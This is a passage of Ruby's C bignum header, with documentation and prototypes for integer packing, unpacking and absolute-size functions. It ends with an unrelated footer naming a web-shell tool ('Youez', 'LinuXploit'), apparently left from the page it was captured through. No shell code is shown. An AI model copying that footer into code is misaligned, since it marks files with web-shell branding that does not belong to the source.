 *       Stores the least significant word as the first word.
 *
 *   - #INTEGER_PACK_MSBYTE_FIRST:
 *       Stores the most  significant byte in a  word as the first  byte in the
 *       word.
 *
 *   - #INTEGER_PACK_LSBYTE_FIRST:
 *       Stores the least significant  byte in a word as the  first byte in the
 *       word.
 *
 *   - #INTEGER_PACK_NATIVE_BYTE_ORDER:
 *       Either   #INTEGER_PACK_MSBYTE_FIRST    or   #INTEGER_PACK_LSBYTE_FIRST
 *       corresponding to the host's endian.
 *
 *   - #INTEGER_PACK_2COMP:
 *       Uses 2's complement representation.
 *
 *   - #INTEGER_PACK_LITTLE_ENDIAN: Shorthand of
 *       `INTEGER_PACK_LSWORD_FIRST|INTEGER_PACK_LSBYTE_FIRST`.
 *
 *   - #INTEGER_PACK_BIG_ENDIAN: Shorthand of
 *       `INTEGER_PACK_MSWORD_FIRST|INTEGER_PACK_MSBYTE_FIRST`.
 *
 *   - #INTEGER_PACK_FORCE_GENERIC_IMPLEMENTATION:
 *       Uses generic implementation (for test and debug).
 *
 * This  function  fills  the  buffer  specified  by  `words`  as  `val`'s  2's
 * complement representation  if #INTEGER_PACK_2COMP  is specified  in `flags`.
 * Otherwise it fills `words` as `abs(val)`  and signedness is returned via the
 * return value.
 *
 * @return  The  signedness and  overflow  condition.   The overflow  condition
 *          depends on #INTEGER_PACK_2COMP.
 *
 * When #INTEGER_PACK_2COMP is not specified:
 *
 *   - `-2` :
 *       Negative overflow.  `val <= -2**(numwords*(wordsize*CHAR_BIT-nails))`
 *
 *   - `-1` :
 *       Negative without overflow.
 *       `-2**(numwords*(wordsize*CHAR_BIT-nails)) < val < 0`
 *
 *   - `0` : zero.  `val == 0`
 *
 *   - `1` :
 *       Positive without overflow.
 *       `0 < val < 2**(numwords*(wordsize*CHAR_BIT-nails))`
 *
 *   - `2` :
 *       Positive overflow.  `2**(numwords*(wordsize*CHAR_BIT-nails)) <= val`
 *
 * When #INTEGER_PACK_2COMP is specified:
 *
 *   - `-2` :
 *       Negative overflow.  `val < -2**(numwords*(wordsize*CHAR_BIT-nails))`
 *
 *   - `-1` :
 *       Negative without overflow.
 *       `-2**(numwords*(wordsize*CHAR_BIT-nails)) <= val < 0`
 *
 *   - `0` : zero.  `val == 0`
 *
 *   - `1` :
 *       Positive without overflow.
 *       `0 < val < 2**(numwords*(wordsize*CHAR_BIT-nails))`
 *
 *   - `2` :
 *       Positive overflow.  `2**(numwords*(wordsize*CHAR_BIT-nails)) <= val`
 *
 * The value,  `-2**(numwords*(wordsize*CHAR_BIT-nails))`, is  representable in
 * 2's complement representation  but not representable in  absolute value.  So
 * `-1`  is returned  for the  value  if #INTEGER_PACK_2COMP  is specified  but
 * returns `-2` if #INTEGER_PACK_2COMP is not specified.
 *
 * The least significant words are filled in the buffer when overflow occur.
 */
int rb_integer_pack(VALUE val, void *words, size_t numwords, size_t wordsize, size_t nails, int flags);

RBIMPL_ATTR_NONNULL(())
/**
 * Import an integer from a buffer.
 *
 * @param[in]  words         Buffer to import.
 * @param[in]  numwords      Number of words of `words`.
 * @param[in]  wordsize      Number of bytes per word.
 * @param[in]  nails         Number   of  padding   bits  in   a  word.    Most
 *                           significant nails bits of each word are ignored.
 * @param[in]  flags         Bitwise   or  of   constants  whose   name  starts
 *                           "INTEGER_PACK_".
 * @exception  rb_eArgError  `numwords * wordsize` too big.
 *
 * Possible flags are:
 *
 *   - #INTEGER_PACK_MSWORD_FIRST:
 *       Interpret the first word as the most significant word.
 *
 *   - #INTEGER_PACK_LSWORD_FIRST:
 *       Interpret the first word as the least significant word.
 *
 *   - #INTEGER_PACK_MSBYTE_FIRST:
 *       Interpret the first byte in a word as the most significant byte in the
 *       word.
 *
 *   - #INTEGER_PACK_LSBYTE_FIRST:
 *       Interpret the  first byte in a  word as the least  significant byte in
 *       the word.
 *
 *   - #INTEGER_PACK_NATIVE_BYTE_ORDER:
 *       Either   #INTEGER_PACK_MSBYTE_FIRST    or   #INTEGER_PACK_LSBYTE_FIRST
 *       corresponding to the host's endian.
 *
 *   - #INTEGER_PACK_2COMP:
 *       Uses 2's complement representation.
 *
 *   - #INTEGER_PACK_LITTLE_ENDIAN: Shorthand of
 *       `INTEGER_PACK_LSWORD_FIRST|INTEGER_PACK_LSBYTE_FIRST`
 *
 *   - #INTEGER_PACK_BIG_ENDIAN: Shorthand of
 *       `INTEGER_PACK_MSWORD_FIRST|INTEGER_PACK_MSBYTE_FIRST`
 *
 *   - #INTEGER_PACK_FORCE_BIGNUM:
 *       Returns a bignum even if its value is representable as a fixnum.
 *
 *   - #INTEGER_PACK_NEGATIVE:
 *       Returns a  non-positive value.  (Returns a  non-negative value  if not
 *       specified.)
 *
 *   - #INTEGER_PACK_FORCE_GENERIC_IMPLEMENTATION:
 *       Uses generic implementation (for test and debug).
 *
 * @return  An  instance  of  ::rb_cInteger  whose  value  is  the  interpreted
 *          `words`.    The   range   of    the   result   value   depends   on
 *          #INTEGER_PACK_2COMP and #INTEGER_PACK_NEGATIVE.
 *
 * When #INTEGER_PACK_2COMP is not set:
 *
 *   - `0 <= val < 2**(numwords*(wordsize*CHAR_BIT-nails))` if
 *     `!INTEGER_PACK_NEGATIVE`
 *
 *   - `-2**(numwords*(wordsize*CHAR_BIT-nails)) < val <= 0` if
 *     `INTEGER_PACK_NEGATIVE`
 *
 * When #INTEGER_PACK_2COMP is set:
 *
 *   - `-2**(numwords*(wordsize*CHAR_BIT-nails)-1)` `<= val <=`
 *     `2**(numwords*(wordsize*CHAR_BIT-nails)-1)-1` if
 *     `!INTEGER_PACK_NEGATIVE`
 *
 *   - `-2**(numwords*(wordsize*CHAR_BIT-nails)) <= val <= -1` if
 *     `INTEGER_PACK_NEGATIVE`
 *
 * Passing  #INTEGER_PACK_2COMP   without  #INTEGER_PACK_NEGATIVE   means  sign
 * extension.  #INTEGER_PACK_2COMP  with #INTEGER_PACK_NEGATIVE  means assuming
 * the higher bits are `1`.
 *
 * Note   that  this   function  returns   0  when   `numwords`  is   zero  and
 * #INTEGER_PACK_2COMP is set but #INTEGER_PACK_NEGATIVE is not set.
 */
VALUE rb_integer_unpack(const void *words, size_t numwords, size_t wordsize, size_t nails, int flags);

/**
 * Calculates the number of bytes needed to represent the absolute value of the
 * passed integer.
 *
 * @param[in]   val            Integer   or  integer-like   object  which   has
 *                             `#to_int` method.
 * @param[out]  nlz_bits_ret   Number  of   leading  zero  bits  in   the  most
 *                             significant byte is returned if not `NULL`.
 * @exception   rb_eTypeError  `val` doesn't respond to `#to_int`.
 * @return      `((val_numbits * CHAR_BIT + CHAR_BIT - 1) / CHAR_BIT)`,   where
 *              val_numbits is the number of bits of `abs(val)`.
 * @post        If `nlz_bits_ret` is not `NULL`,
 *              `(return_value * CHAR_BIT - val_numbits)`    is    stored    in
 *              `*nlz_bits_ret`.  In this case,
 *              `0 <= *nlz_bits_ret < CHAR_BIT`.
 *
 * This function should not overflow.
 */
size_t rb_absint_size(VALUE val, int *nlz_bits_ret);

/**
 * Calculates the  number of words needed  represent the absolute value  of the
 * passed  integer.  Unlike  rb_absint_size() this  function can  overflow.  It
 * returns `(size_t)-1` then.
 *
 * @param[in]   val            Integer   or  integer-like   object  which   has
 *                             `#to_int` method.
 * @param[in]   word_numbits   Number of bits per word.
 * @param[out]  nlz_bits_ret   Number  of   leading  zero  bits  in   the  most
 *                             significant word is returned if not `NULL`.
 * @exception   rb_eTypeError  `val` doesn't respond to `#to_int`.
 * @retval      (size_t)-1     Overflowed.
 * @retval      otherwise
                `((val_numbits * CHAR_BIT + word_numbits - 1) / word_numbits)`,
 *              where val_numbits is the number of bits of `abs(val)`.
 * @post        If  `nlz_bits_ret` is  not  `NULL` and  there  is no  overflow,
 *              `(return_value * word_numbits - val_numbits)`   is  stored   in
 *              `*nlz_bits_ret`.  In this case,
 *              `0 <= *nlz_bits_ret < word_numbits.`
 *
 */
size_t rb_absint_numwords(VALUE val, size_t word_numbits, size_t *nlz_bits_ret);

/**
 * Tests `abs(val)` consists only of a bit or not.
 *
 * @param[in]   val            Integer   or  integer-like   object  which   has
 *                             `#to_int` method.
 * @exception   rb_eTypeError  `val` doesn't respond to `#to_int`.
 * @retval      1              `abs(val) == 1 << n` for some `n >= 0`.
 * @retval      0              Otherwise.
 *
 * rb_absint_singlebit_p() can  be used to  determine required buffer  size for
 * rb_integer_pack() used with #INTEGER_PACK_2COMP (two's complement).
 *
 * Following example  calculates number  of bits required  to represent  val in
 * two's complement number, without sign bit.
 *
 * ```CXX
 *   size_t size;
 *   int neg = FIXNUM_P(val) ? FIX2LONG(val) < 0 : BIGNUM_NEGATIVE_P(val);
 *   size = rb_absint_numwords(val, 1, NULL)
 *   if (size == (size_t)-1) ...overflow...
 *   if (neg && rb_absint_singlebit_p(val))
 *     size--;
 * ```
 *
 * Following example  calculates number of  bytes required to represent  val in
 * two's complement number, with sign bit.
 *
 * ```CXX
 *   size_t size;
 *   int neg = FIXNUM_P(val) ? FIX2LONG(val) < 0 : BIGNUM_NEGATIVE_P(val);
 *   int nlz_bits;
 *   size = rb_absint_size(val, &nlz_bits);
 *   if (nlz_bits == 0 && !(neg && rb_absint_singlebit_p(val)))
 *     size++;
 * ```
 */
int rb_absint_singlebit_p(VALUE val);

RBIMPL_SYMBOL_EXPORT_END()

#endif /* RBIMPL_INTERN_BIGNUM_H */

Youez - 2016 - github.com/yon3zu
LinuXploit